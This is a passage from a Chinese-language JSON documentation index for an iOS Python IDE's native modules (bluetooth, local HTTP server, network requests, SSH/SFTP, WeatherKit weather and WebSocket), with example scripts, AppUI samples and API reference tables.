\"ok\":\n try:\n services = bluetooth.discover_services(uuid)\n print(f\"发现 {len(services)} 个服务\")\n finally:\n bluetooth.disconnect(uuid)\n else:\n print(\"连接失败:\", result) AppUI 示例 扫描、连接分步放在按钮回调;失败时保留可读状态。 import appui\nimport bluetooth\n\nstate = appui.State(\n ble_state=\"—\",\n device_count=\"0\",\n status=\"未扫描\",\n detail=\"点击扫描开始\",\n)\n\nsession = {\"uuid\": None}\n\n\ndef refresh_ble_state():\n state.ble_state = str(bluetooth.state())\n\n\ndef scan_devices():\n refresh_ble_state()\n if state.ble_state != \"powered_on\":\n state.batch_update(\n status=\"蓝牙不可用\",\n detail=f\"当前: {state.ble_state}\",\n device_count=\"0\",\n )\n return\n\n devices = bluetooth.scan(duration=5.0) or []\n state.device_count = str(len(devices))\n if not devices:\n state.batch_update(\n status=\"未发现设备\",\n detail=\"请靠近外设后重试\",\n )\n return\n\n target = devices[0]\n session[\"uuid\"] = target.get(\"uuid\")\n name = target.get(\"name\") or \"未命名设备\"\n state.batch_update(\n status=\"已发现设备\",\n detail=f\"{name} · RSSI {target.get('rssi', '—')}\",\n )\n\n\ndef connect_first():\n uuid = session.get(\"uuid\")\n if not uuid:\n state.detail = \"请先扫描\"\n return\n\n result = bluetooth.connect(uuid)\n if result != \"ok\":\n state.batch_update(status=\"连接失败\", detail=str(result))\n return\n\n services = bluetooth.discover_services(uuid) or []\n state.batch_update(\n status=\"已连接\",\n detail=f\"{len(services)} 个服务\",\n )\n\n\ndef disconnect_device():\n uuid = session.get(\"uuid\")\n if uuid:\n bluetooth.disconnect(uuid)\n session[\"uuid\"] = None\n state.batch_update(status=\"已断开\", detail=\"连接已释放\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"蓝牙\", [\n appui.LabeledContent(\"系统状态\", value=state.ble_state),\n appui.LabeledContent(\"扫描结果\", value=state.device_count),\n appui.Button(\"刷新状态\", action=refresh_ble_state),\n appui.Button(\"扫描设备\", action=scan_devices)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"连接第一个\", action=connect_first),\n appui.Button(\"断开\", action=disconnect_device, role=\"destructive\"),\n ]),\n appui.Section(\"详情\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Text(state.detail).foreground_color(\"secondaryLabel\"),\n ], footer=\"真机测试;示例只连扫描到的第一台设备。\"),\n ]).navigation_title(\"蓝牙\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `state()` BLE 状态字符串 `scan(duration)` 扫描外设列表 `stop_scan()` 立即停止扫描 `connect(uuid)` 连接 → `ok` 或错误信息 `disconnect(uuid)` 断开连接 `discover_services(uuid)` 服务与特征列表 `read(...)` 读特征 → Base64 字符串 `write(...)` 写特征(Base64 入参)→ `bool` 状态与扫描 state() 常见返回值: 值 含义 `powered_on` 蓝牙已开启,可扫描 `powered_off` 蓝牙关闭 `unauthorized` 未授权 `unsupported` 设备不支持 BLE scan(duration=5.0) — 返回 [{uuid, name, rssi}, ...]。 devices = bluetooth.scan(duration=3.0)\nbluetooth.stop_scan() # 提前结束 连接与发现 connect(uuid) — 成功返回 \"ok\",失败返回错误描述字符串(不是异常)。 discover_services(uuid) — 返回服务字典列表(含特征 UUID),须先连接成功。 读写特征 import base64\n\ndata_b64 = bluetooth.read(peripheral_uuid, service_uuid, char_uuid)\nraw = base64.b64decode(data_b64) if data_b64 else b\"\"\n\npayload = base64.b64encode(b\"hello\").decode(\"ascii\")\nok = bluetooth.write(peripheral_uuid, service_uuid, char_uuid, payload) write() 的第四个参数必须是 Base64 字符串 ,不要直接传 bytes。 推荐流程 state() 确认 powered_on scan() 找到目标 uuid connect(uuid) discover_services(uuid) 获取 service_uuid / characteristic_uuid read() / write() disconnect(uuid)(建议 try/finally) 常见错误 错误写法 后果 修正 判断 `poweredOn` 永远不匹配 使用 `powered_on` `write()` 直接传 bytes 类型错误 先 `base64.b64encode` 不检查 `connect` 返回值 未连接就读写 判断 `== \"ok\"` 忘记 `disconnect()` 连接残留 `finally` 里断开 在 `body()` 里 `scan()` 刷新时反复扫描耗电 放进按钮回调 与 [ble_peripheral](ble-peripheral-module) 混淆 调错 API 广播用外设模块 相关文档 文档 用途 [ble_peripheral](ble-peripheral-module) 本机作为 BLE 外设广播 [network](network-module) HTTP 网络请求 [websocket](websocket-module) WebSocket 连接 [permission](permission-module) 蓝牙权限状态查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "http-server-module", + "title": "http_server", + "subtitle": "本地 HTTP 文件服务器。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/http-server-module/", + "text": "http_server 本地 HTTP 文件服务器。 iOS 原生模块 连接与后台 http_server http_server http-server http_server 本地 HTTP 文件服务器:在 127.0.0.1 上提供 Documents(或指定目录)的静态文件访问。 边界 :仅监听本机回环地址,供同设备上的浏览器或其他客户端读取文件。不是公网服务器;远程访问请用 ssh 或 network。start() / stop() 放在按钮回调,离开页面前应 stop()。 模块概览 项 说明 导入 `import http_server` 适合做什么 临时共享工作区文件、本地调试静态资源、给其他 App 读文件 调用时机 用户点击启动;页面关闭或切换时停止 推荐顺序 `start()` 拿 URL → `status()` 确认 → 访问文件 → `stop()` 根目录 默认 App Documents;可用 `root_dir` 指定 快速开始 下面脚本在 18080 端口启动服务、查看状态并停止: import http_server\n\ntry:\n url = http_server.start(port=18080)\n print(\"服务地址:\", url)\n print(http_server.status())\nfinally:\n http_server.stop() 访问 http://127.0.0.1:18080/你的文件名 可读取 root_dir 下的文件;根路径 / 返回 JSON 提示。 AppUI 示例 启动/停止放在按钮回调;状态展示当前 URL 与根目录。 import appui\nimport http_server\n\nstate = appui.State(\n running=False,\n url=\"—\",\n port=\"—\",\n root=\"—\",\n status=\"点击启动本地服务\",\n)\n\n\ndef refresh_status():\n try:\n st = http_server.status() or {}\n state.batch_update(\n running=bool(st.get(\"running\")),\n url=st.get(\"url\") or \"—\",\n port=str(st.get(\"port\", \"—\")),\n root=st.get(\"root_dir\") or \"—\",\n )\n except http_server.HttpServerError as exc:\n state.status = f\"查询失败: {exc}\"\n\n\ndef start_server():\n try:\n url = http_server.start(port=18080)\n refresh_status()\n state.status = f\"已启动: {url}\"\n except http_server.HttpServerError as exc:\n state.status = f\"启动失败: {exc}\"\n\n\ndef stop_server():\n try:\n http_server.stop()\n state.batch_update(\n running=False,\n url=\"—\",\n port=\"—\",\n status=\"已停止\",\n )\n refresh_status()\n except http_server.HttpServerError as exc:\n state.status = f\"停止失败: {exc}\"\n\n\ndef body():\n label = \"停止服务\" if state.running else \"启动服务\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"服务状态\", [\n appui.LabeledContent(\"运行中\", value=\"是\" if state.running else \"否\"),\n appui.LabeledContent(\"地址\", value=state.url),\n appui.LabeledContent(\"端口\", value=state.port),\n appui.LabeledContent(\"根目录\", value=state.root),\n ]),\n appui.Section(\"操作\", [\n appui.Button(label, action=stop_server if state.running else start_server)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"刷新状态\", action=refresh_status),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"仅本机 127.0.0.1;把文件放进根目录后通过 URL 访问。\"),\n ]).navigation_title(\"HTTP 服务\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `start(port, root_dir)` 启动服务 → 访问 URL `stop()` 停止服务 `status()` `{running, port, url, root_dir}` `HttpServerError` 操作失败时抛出 start start(port=8080, root_dir=None) url = http_server.start()\nurl = http_server.start(port=18080, root_dir=\"/path/to/folder\") 参数 说明 `port` 监听端口(默认 8080) `root_dir` 文件根目录;省略时用 Documents 返回形如 http://127.0.0.1:8080/ 的 URL。若端口已被占用或无效会抛出 HttpServerError。 stop / status stop() — 关闭监听器。 status() 返回: 字段 说明 `running` 是否正在服务 `port` 当前端口 `url` 访问地址(未运行时为空) `root_dir` 文件根目录 访问规则 GET / → JSON 提示 {\"ok\":true,\"message\":\"PythonIDE http_server\"} GET /filename → 读取 root_dir/filename 的二进制内容 简单 HTTP/1.1,单次请求后关闭连接 常见错误 错误写法 后果 修正 在 `body()` 里 `start()` 刷新时重复启动 放进按钮回调 页面离开不 `stop()` 端口占用、耗电 停止按钮或退出时清理 端口被占用 启动失败 换端口或先 `stop()` 期望公网访问 仅本机回环 用 SSH 隧道或其他方案 相关文档 文档 用途 [network](network-module) HTTP 客户端下载 [background_download](background-download-module) 后台大文件下载 [ssh](ssh-module) 远程文件传输 [storage](storage-module) 记录服务端口等配置 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "network-module", + "title": "network", + "subtitle": "原生 HTTP 请求、连接状态和下载。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/network-module/", + "text": "network 原生 HTTP 请求、连接状态和下载。 iOS 原生模块 连接与后台 HTTP Response Download network http request download response 连接状态 network 原生 HTTP 客户端:发起 GET/POST 等请求、判断网络状态、下载文件到本地路径。 边界 :适合 REST API 和小文件下载。大文件、后台传输或复杂上传请看系统能力规划;响应体在内存中,超大响应注意内存占用。 模块概览 项 说明 导入 `import network` 适合做什么 拉取 JSON API、提交表单、检查联网、下载文件 调用时机 放在按钮回调或加载任务;不要写在 AppUI `body()` 中 推荐顺序 `is_connected()` 提示 → `get`/`post` → 检查 `response.ok` → 解析 `json()` 蜂窝/低数据 `is_expensive()` / `is_constrained()` 为真时避免自动下大文件 快速开始 下面脚本检查网络,请求 GitHub API 并打印仓库名: import network\n\nif not network.is_connected():\n print(\"当前无网络\")\nelse:\n response = network.get(\n \"https://api.github.com/repos/python/cpython\",\n timeout=15,\n )\n if response.ok:\n data = response.json()\n print(data[\"full_name\"], \"⭐\", data[\"stargazers_count\"])\n else:\n print(\"请求失败:\", response.status, response.text[:200]) AppUI 示例 请求放在按钮回调里,加载、成功、失败都写回界面。 import appui\nimport network\n\nstate = appui.State(\n status=\"未请求\",\n network=\"—\",\n detail=\"点击按钮开始\",\n)\n\n\ndef refresh_network_info():\n if not network.is_connected():\n state.network = \"离线\"\n return\n conn = network.connection_type()\n flags = []\n if network.is_expensive():\n flags.append(\"计费网络\")\n if network.is_constrained():\n flags.append(\"低数据模式\")\n suffix = f\"({' · '.join(flags)})\" if flags else \"\"\n state.network = f\"{conn}{suffix}\"\n\n\ndef fetch_repo():\n refresh_network_info()\n if not network.is_connected():\n state.batch_update(status=\"离线\", detail=\"当前没有可用网络\")\n return\n\n state.status = \"请求中...\"\n response = network.get(\n \"https://api.github.com/repos/python/cpython\",\n timeout=15,\n )\n if not response.ok:\n state.batch_update(status=\"请求失败\", detail=str(response.status))\n return\n\n try:\n data = response.json()\n except Exception as error:\n state.batch_update(status=\"解析失败\", detail=str(error))\n return\n\n stars = data.get(\"stargazers_count\", \"—\")\n state.batch_update(\n status=\"请求成功\",\n detail=f\"{data.get('full_name', '')} · ⭐ {stars}\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"网络\", [\n appui.LabeledContent(\"连接\", value=state.network),\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Text(state.detail).foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"获取 CPython 仓库信息\", action=fetch_repo)\n .button_style(\"bordered_prominent\"),\n ], footer=\"需要网络;真机测试最可靠。\"),\n ]).navigation_title(\"网络请求\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_connected()` 是否有可用网络 → `bool` `connection_type()` `wifi` / `cellular` / `ethernet` / `none` / `other` `is_expensive()` 是否计费网络(蜂窝/热点) `is_constrained()` 是否低数据模式 `get/post/put/delete/patch(...)` HTTP 快捷方法 → `Response` `request(method, url, ...)` 通用 HTTP 请求 `download(url, dest_path)` 下载文件 → `bool` 网络状态 import network\n\nif network.is_connected():\n print(network.connection_type())\n if network.is_expensive():\n print(\"计费网络,避免大流量\") API 说明 `is_connected()` 当前能否联网 `connection_type()` 连接类型字符串 `is_expensive()` 蜂窝或热点等 `is_constrained()` 系统低数据模式 HTTP 请求 request(method, url, headers=None, body=None, json=None, timeout=30) — 通用请求。 快捷方法:get、post、put、delete、patch,参数相同。 response = network.get(\"https://httpbin.org/get\", timeout=15)\nresponse = network.post(\n \"https://httpbin.org/post\",\n json={\"title\": \"Hello\"},\n headers={\"Accept\": \"application/json\"},\n timeout=20,\n) Response 对象: 属性/方法 说明 `status` HTTP 状态码 `ok` `200–299` 时为 `True` `text` 响应正文字符串 `json()` 解析 JSON;非 JSON 会抛异常 `headers` 响应头字典 if response.ok:\n data = response.json()\nelse:\n print(response.status, response.text[:200]) 下载 download(url, dest_path, timeout=120) — 下载到本地路径,成功返回 True。 ok = network.download(\n \"https://httpbin.org/json\",\n \"report.json\",\n timeout=30,\n) 下载失败返回 False;路径需脚本可写。配合 photos 的 save_video 时,先 download 再传本地路径。 常见错误 错误写法 后果 修正 在 `body()` 里发请求 每次刷新都联网 放进按钮回调 不检查 `response.ok` 把错误当成功解析 先判断 `ok` 再 `json()` 对非 JSON 直接 `json()` 解析异常 `try/except` 或改读 `text` 蜂窝网络自动下大文件 流量浪费 检查 `is_expensive()` 并提示用户 相关文档 文档 用途 [photos](photos-module) 下载视频后 `save_video` [weather](weather-module) WeatherKit 联网查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "ssh-module", + "title": "ssh", + "subtitle": "SSH 远程命令与 SFTP 文件传输。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/ssh-module/", + "text": "ssh SSH 远程命令与 SFTP 文件传输。 iOS 原生模块 连接与后台 ssh ssh ssh ssh SSH 远程命令与 SFTP 文件传输:连接 Linux/树莓派等设备,执行命令、上传下载文件。 边界 :需要可达的网络与有效凭据(密码或私钥)。 不要把密码写进公开脚本 ;生产环境用 keychain 存凭据。连接和执行放在按钮回调;session_id 用完后务必 disconnect()。 模块概览 项 说明 导入 `import ssh` 适合做什么 远程运维、部署脚本、拉取日志、SFTP 传文件 调用时机 用户点击连接/执行;长命令注意 `timeout` 推荐顺序 `connect()` → `execute()` / `upload()` / `download()` → `disconnect()` 会话 `connect()` 返回 `session_id`,后续 API 都要带上 快速开始 下面脚本连接主机、执行命令并断开: import ssh\n\nHOST = \"192.168.1.10\" # 换成你可访问的主机\nUSER = \"pi\"\nPASSWORD = \"YOUR_PASSWORD\" # 勿提交到版本库\n\nsid = None\ntry:\n sid = ssh.connect(HOST, USER, password=PASSWORD)\n result = ssh.execute(sid, \"echo hello\")\n print(result[\"stdout\"].strip())\n print(\"exit_code:\", result[\"exit_code\"])\nexcept ssh.SSHError as exc:\n print(\"SSH 失败:\", exc, f\"code={exc.code}\")\nfinally:\n if sid:\n ssh.disconnect(sid) 使用私钥认证: import ssh\n\nsid = ssh.connect(\n \"example.com\",\n \"deploy\",\n private_key=open(\"id_rsa\").read(),\n passphrase=\"optional\",\n) AppUI 示例 连接与命令执行放在按钮回调;凭据存在 State(勿记录到日志)。 import appui\nimport ssh\n\nstate = appui.State(\n host=\"192.168.1.10\",\n user=\"pi\",\n password=\"\",\n session_id=\"\",\n output=\"—\",\n status=\"填写主机信息后连接\",\n)\n\n\ndef do_connect():\n if not state.host or not state.user:\n state.status = \"请填写主机和用户名\"\n return\n if state.session_id:\n state.status = \"已连接,请先断开\"\n return\n try:\n sid = ssh.connect(\n state.host,\n state.user,\n password=state.password or None,\n )\n state.batch_update(\n session_id=sid or \"\",\n status=\"已连接\",\n output=\"—\",\n )\n except ssh.SSHError as exc:\n state.status = f\"连接失败: {exc}\"\n\n\ndef run_command():\n if not state.session_id:\n state.status = \"请先连接\"\n return\n try:\n result = ssh.execute(state.session_id, \"uname -a\", timeout=15)\n text = (result.get(\"stdout\") or \"\").strip() or \"(无输出)\"\n code = result.get(\"exit_code\", -1)\n state.batch_update(\n output=text[:500],\n status=f\"exit_code={code}\",\n )\n except ssh.SSHError as exc:\n state.status = f\"执行失败: {exc}\"\n\n\ndef do_disconnect():\n if not state.session_id:\n return\n try:\n ssh.disconnect(state.session_id)\n state.batch_update(\n session_id=\"\",\n output=\"—\",\n status=\"已断开\",\n )\n except ssh.SSHError as exc:\n state.status = f\"断开失败: {exc}\"\n\n\ndef body():\n connected = bool(state.session_id)\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"连接\", [\n appui.TextField(\"主机\", text=state.host),\n appui.TextField(\"用户名\", text=state.user),\n appui.SecureField(\"密码\", text=state.password),\n appui.LabeledContent(\n \"会话\",\n value=state.session_id[:8] + \"…\" if connected else \"未连接\",\n ),\n ]),\n appui.Section(\"命令\", [\n appui.Button(\n \"连接\" if not connected else \"已连接\",\n action=do_connect,\n ).button_style(\"bordered_prominent\")\n .disabled(connected),\n appui.Button(\"执行 uname -a\", action=run_command),\n appui.Button(\"断开\", action=do_disconnect, role=\"destructive\"),\n ]),\n appui.Section(\"输出\", [\n appui.Text(state.output).font(\"caption\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"需同一局域网或可达主机;密码勿写入公开代码。\"),\n ]).navigation_title(\"SSH\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `connect(host, username, ...)` 建立连接 → `session_id` `execute(session_id, command, timeout)` 远程执行 → `{stdout, exit_code}` `upload(session_id, local, remote)` SFTP 上传 `download(session_id, remote, local)` SFTP 下载 `disconnect(session_id)` 关闭会话 `SSHError` 操作失败时抛出 connect connect(host, username, password=None, port=22, private_key=None, passphrase=None) sid = ssh.connect(\"10.0.0.5\", \"admin\", password=\"secret\")\nsid = ssh.connect(\"server\", \"deploy\", port=2222, private_key=key_text) 密码与私钥 至少提供一种 。 execute execute(session_id, command, timeout=30) result = ssh.execute(sid, \"ls -la /tmp\")\nprint(result[\"stdout\"])\nprint(result[\"exit_code\"]) stdout 为合并后的标准输出字符串;exit_code 为远程命令退出码。 文件传输 ssh.upload(sid, \"/local/file.txt\", \"/remote/dir/file.txt\")\nssh.download(sid, \"/remote/log.txt\", \"/local/log.txt\") upload 会上传到 remote_path 的父目录(Bridge 行为)。 disconnect disconnect(session_id) — 关闭并移除会话;后续再用同一 ID 会报 invalid_session。 异常 `code` 含义 `invalid_input` 缺少 host/用户名/凭据 `invalid_session` `session_id` 无效或已断开 `unknown_command` Bridge 命令错误 常见错误 错误写法 后果 修正 密码硬编码并提交 Git 凭据泄露 用 [keychain](keychain-module) 或运行时输入 不 `disconnect()` 连接泄漏 `finally` 里断开 在 `body()` 里 `connect()` 刷新时重复连接 放进按钮回调 主机不可达 连接超时 检查网络/VPN/防火墙 相关文档 文档 用途 [keychain](keychain-module) 安全存储 SSH 凭据 [network](network-module) HTTP 连通性检查 [http_server](http-server-module) 本地文件服务 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "weather-module", + "title": "weather", + "subtitle": "当前天气与每日/每小时预报(WeatherKit)。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/weather-module/", + "text": "weather 当前天气与每日/每小时预报(WeatherKit)。 iOS 原生模块 连接与后台 Weather WeatherKit Forecast weather weatherkit forecast 天气 预报 温度 weather 当前天气与预报(基于 Apple WeatherKit)。支持按坐标查询、按设备位置查询,以及多日/多小时预报。 边界 :需要 App 开启 WeatherKit 能力(Apple Developer 配置 + 带 entitlement 的签名构建)。current_location() 还需要定位权限;不包含地图或定位 UI,定位请看 location。 模块概览 项 说明 导入 `import weather` 适合做什么 天气卡片、出行建议、温度/湿度/风速展示、短期预报 调用时机 放在按钮回调或加载任务;不要写在 AppUI `body()` 中 推荐顺序 需要时申请定位 → `current` / `current_location` → 可选 `daily` / `hourly` 单位约定 温度 °C;风速 m/s;湿度 0..1;`symbol` 为 SF Symbol 名 快速开始 下面脚本按坐标查询上海当前天气,并打印未来 3 天预报: import weather\n\nLAT, LON = 31.2304, 121.4737\n\ntry:\n now = weather.current(LAT, LON)\n print(f\"{now['temperature']:.1f}°C\", now[\"condition\"], now[\"symbol\"])\n print(f\"体感 {now['feels_like']:.1f}°C · 湿度 {now['humidity']:.0%}\")\n\n days = weather.daily(LAT, LON, days=3)\n for day in days:\n print(day[\"date\"][:10], day[\"low\"], \"~\", day[\"high\"], \"°C\", day[\"condition\"])\nexcept weather.WeatherError as exc:\n print(\"查询失败:\", exc, f\"(code={exc.code})\") AppUI 示例 天气请求放进按钮回调;结果写进 State,用 symbol 显示 SF Symbol 图标。 import appui\nimport permission\nimport weather\n\nDEMO_LAT = 31.2304\nDEMO_LON = 121.4737\n\nstate = appui.State(\n temp=\"—\",\n summary=\"点击按钮开始\",\n symbol=\"cloud\",\n forecast=\"—\",\n message=\"\",\n)\n\n\ndef _apply_current(now, label):\n state.temp = f\"{now.get('temperature', 0):.1f}°C\"\n state.summary = now.get(\"condition\", \"—\")\n state.symbol = now.get(\"symbol\", \"cloud\")\n state.message = f\"{label}查询成功\"\n\n\ndef _format_forecast(days):\n lines = []\n for day in days[:3]:\n date = str(day.get(\"date\", \"\"))[:10]\n low = day.get(\"low\", \"—\")\n high = day.get(\"high\", \"—\")\n lines.append(f\"{date} {low}~{high}°C {day.get('condition', '')}\")\n return \"\\n\".join(lines) if lines else \"暂无预报\"\n\n\ndef load_shanghai():\n try:\n now = weather.current(DEMO_LAT, DEMO_LON)\n _apply_current(now, \"上海\")\n state.forecast = _format_forecast(\n weather.daily(DEMO_LAT, DEMO_LON, days=3)\n )\n except weather.WeatherError as exc:\n state.message = f\"查询失败: {exc} (code={exc.code})\"\n\n\ndef load_here():\n entry = permission.status(\"location\")\n if not entry.get(\"authorized\"):\n permission.request(\"location\")\n entry = permission.status(\"location\")\n if not entry.get(\"authorized\"):\n state.message = \"需要定位权限,请先在系统弹窗中允许\"\n return\n try:\n now = weather.current_location()\n _apply_current(now, \"当前位置\")\n except weather.WeatherError as exc:\n state.message = f\"查询失败: {exc} (code={exc.code})\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"当前\", [\n appui.Image(system_name=state.symbol).font(\"largeTitle\"),\n appui.LabeledContent(\"温度\", value=state.temp),\n appui.LabeledContent(\"状况\", value=state.summary),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"查询上海天气\", action=load_shanghai)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"查询当前位置天气\", action=load_here),\n ]),\n appui.Section(\"3 日预报\", [\n appui.Text(state.forecast).font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.Text(state.message).font(\"caption2\").foreground_color(\"tertiaryLabel\"),\n ], footer=\"需要 WeatherKit 能力与网络;真机测试最可靠。\"),\n ]).navigation_title(\"天气\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `current(lat, lon)` 按坐标查当前天气 → `dict` `current_location()` 按设备位置查当前天气 → `dict`(需定位权限) `daily(lat, lon, days=7)` 每日预报 → `list[dict]` `hourly(lat, lon, hours=24)` 每小时预报 → `list[dict]` `WeatherError` 查询失败时抛出的异常 当前天气 current(latitude, longitude) — 按经纬度查询。 now = weather.current(37.33, -122.03)\nprint(now[\"temperature\"], now[\"symbol\"]) current_location() — 使用设备当前位置,需先获得定位授权。 import permission\n\nif not permission.status(\"location\").get(\"authorized\"):\n permission.request(\"location\")\nnow = weather.current_location() 当前天气常见字段: 字段 说明 `temperature` / `feels_like` 气温 / 体感温度(°C) `condition` 天气状况文字 `symbol` SF Symbol 名,可配合 `appui.Image(system_name=...)` `humidity` 湿度(0..1) `wind_speed` 风速(m/s) `uv_index` 紫外线指数 `is_daylight` 是否白天 预报 daily(latitude, longitude, days=7) — 返回每日预报列表。 days = weather.daily(31.23, 121.47, days=5)\nfor day in days:\n print(day[\"date\"], day[\"low\"], day[\"high\"], day[\"symbol\"]) 每日字段:date、condition、symbol、high、low、precipitation_chance。 hourly(latitude, longitude, hours=24) — 返回每小时预报列表。 hours = weather.hourly(31.23, 121.47, hours=12)\nfor hour in hours:\n print(hour[\"date\"], hour[\"temperature\"], hour[\"condition\"]) 每小时字段:date、condition、symbol、temperature、precipitation_chance。 异常 查询失败时抛出 WeatherError,可通过 exc.code 区分原因: `code` 含义 `unavailable` 系统版本过低、WeatherKit 未启用或暂无数据 `weatherkit_auth` WeatherKit JWT/entitlement 未正确配置 `denied` 定位权限未授权(`current_location`) `network_error` 网络或 WeatherKit 服务异常 try:\n weather.current(0, 0)\nexcept weather.WeatherError as exc:\n print(exc.code, exc) 常见错误 错误写法 后果 修正 在 `body()` 里调 `weather.current()` 每次刷新都联网 放进按钮回调,结果写进 `State` 未授权就 `current_location()` 抛出 `WeatherError(code=\"denied\")` 先 `permission.request(\"location\")` 未配置 WeatherKit `weatherkit_auth` 或 `unavailable` 在 Developer 为 App ID 开启 WeatherKit 并重装 不捕获 `WeatherError` 异常直接打断流程 用 `try/except` 并给出兜底 UI 相关文档 文档 用途 [location](location-module) 定位权限与坐标 [permission](permission-module) 统一查询 `location` 权限 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "websocket-module", + "title": "websocket", + "subtitle": "原生 WebSocket 连接、收发和回调。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/websocket-module/", + "text": "websocket 原生 WebSocket 连接、收发和回调。 iOS 原生模块 连接与后台 WebSocket Realtime Callback websocket ws wss realtime receive callback websocket 原生 WebSocket 客户端(URLSessionWebSocketTask):连接、收发消息、事件回调。 边界 :客户端连接 ws:// / wss:// 服务器;不含 WebSocket 服务端。阻塞式 receive() 会等待消息;AppUI 场景推荐 on_message 回调。 模块概览 项 说明 导入 `import websocket` 适合做什么 实时聊天、行情推送、协作白板 调用时机 `connect` 放按钮回调;长连接用 `on_message` 推荐顺序 `connect(url)` → `send` → `receive` 或设回调 → `close()` 状态 `ws.state`:`open` / `connecting` / `closing` / `closed` 快速开始 阻塞式收发(适合脚本): import websocket\n\nws = websocket.connect(\"wss://echo.websocket.org\")\nws.send(\"Hello\")\nmsg = ws.receive(timeout=10)\nprint(msg) # {\"type\": \"text\", \"data\": \"Hello\"}\nws.close() 回调式(适合 AppUI): import websocket\n\n\ndef on_message(data):\n print(\"收到:\", data)\n\n\ndef on_close(code):\n print(\"关闭:\", code)\n\n\nws = websocket.connect(\"wss://echo.websocket.org\")\nws.on_message = on_message\nws.on_close = on_close\nws.send(\"Hello\") AppUI 示例 连接、发送、断开放在按钮回调;最近一条消息展示在界面。 import appui\nimport websocket\n\nECHO_URL = \"wss://echo.websocket.org\"\n\nstate = appui.State(\n conn_state=\"未连接\",\n last_msg=\"—\",\n status=\"点击连接\",\n)\n\nsession = {\"ws\": None}\n\n\ndef on_message(data):\n state.last_msg = str(data)[:120]\n state.status = \"收到消息\"\n\n\ndef on_close(code):\n state.batch_update(conn_state=\"已关闭\", status=f\"关闭码 {code}\")\n session[\"ws\"] = None\n\n\ndef connect_echo():\n if session.get(\"ws\") and session[\"ws\"].is_open:\n state.status = \"已连接\"\n return\n\n try:\n ws = websocket.connect(ECHO_URL)\n ws.on_message = on_message\n ws.on_close = on_close\n session[\"ws\"] = ws\n state.batch_update(conn_state=ws.state, status=\"已连接 echo 服务\")\n except Exception as exc:\n state.batch_update(conn_state=\"失败\", status=str(exc))\n\n\ndef send_ping():\n ws = session.get(\"ws\")\n if not ws or not ws.is_open:\n state.status = \"请先连接\"\n return\n\n ws.send(\"ping from PythonIDE\")\n state.status = \"已发送 ping\"\n\n\ndef disconnect():\n ws = session.get(\"ws\")\n if ws:\n ws.close()\n session[\"ws\"] = None\n state.conn_state = \"未连接\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"连接\", [\n appui.Button(\"连接 Echo 服务\", action=connect_echo)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"发送 ping\", action=send_ping),\n appui.Button(\"断开\", action=disconnect, role=\"destructive\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"连接\", value=state.conn_state),\n appui.LabeledContent(\"最近消息\", value=state.last_msg),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"WebSocket\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `connect(url, protocols=None)` 建立连接,返回 `WebSocket` `ws.send(data)` 发送文本或 `bytes` `ws.receive(timeout=30)` 阻塞等待消息 → `dict` 或 `None` `ws.close(code=1000)` 关闭连接 `ws.state` / `ws.is_open` 连接状态 `ws.on_message` / `on_open` / `on_close` / `on_error` 事件回调 连接 ws = websocket.connect(\"wss://example.com/socket\", protocols=[\"chat\"]) 连接失败抛 ConnectionError。 收发 send(data) — 字符串发文本;bytes 发二进制(内部 Base64 编码)。 receive(timeout=30) — 返回 {\"type\": \"text\" \"binary\", \"data\": ...} 或超时 None。 回调 在 AppUI 中设置 on_message 等属性时,底层通过 _appui_native._register_callback 注册;需保持 ws 对象存活。 常见错误 错误写法 后果 修正 在 `body()` 里 `connect` 每次刷新新建连接 放进按钮回调,复用 `session` 主线程长时间 `receive` 界面卡住 用 `on_message` 或后台线程 用 WebSocket 访问 REST 协议不匹配 用 [network](network-module) 忘记 `close()` 泄漏连接 用完关闭或依赖析构 相关文档 文档 用途 [network](network-module) HTTP 请求 [http_server](http-server-module) 本地 HTTP 服务(非 WS 服务端) 预期效果 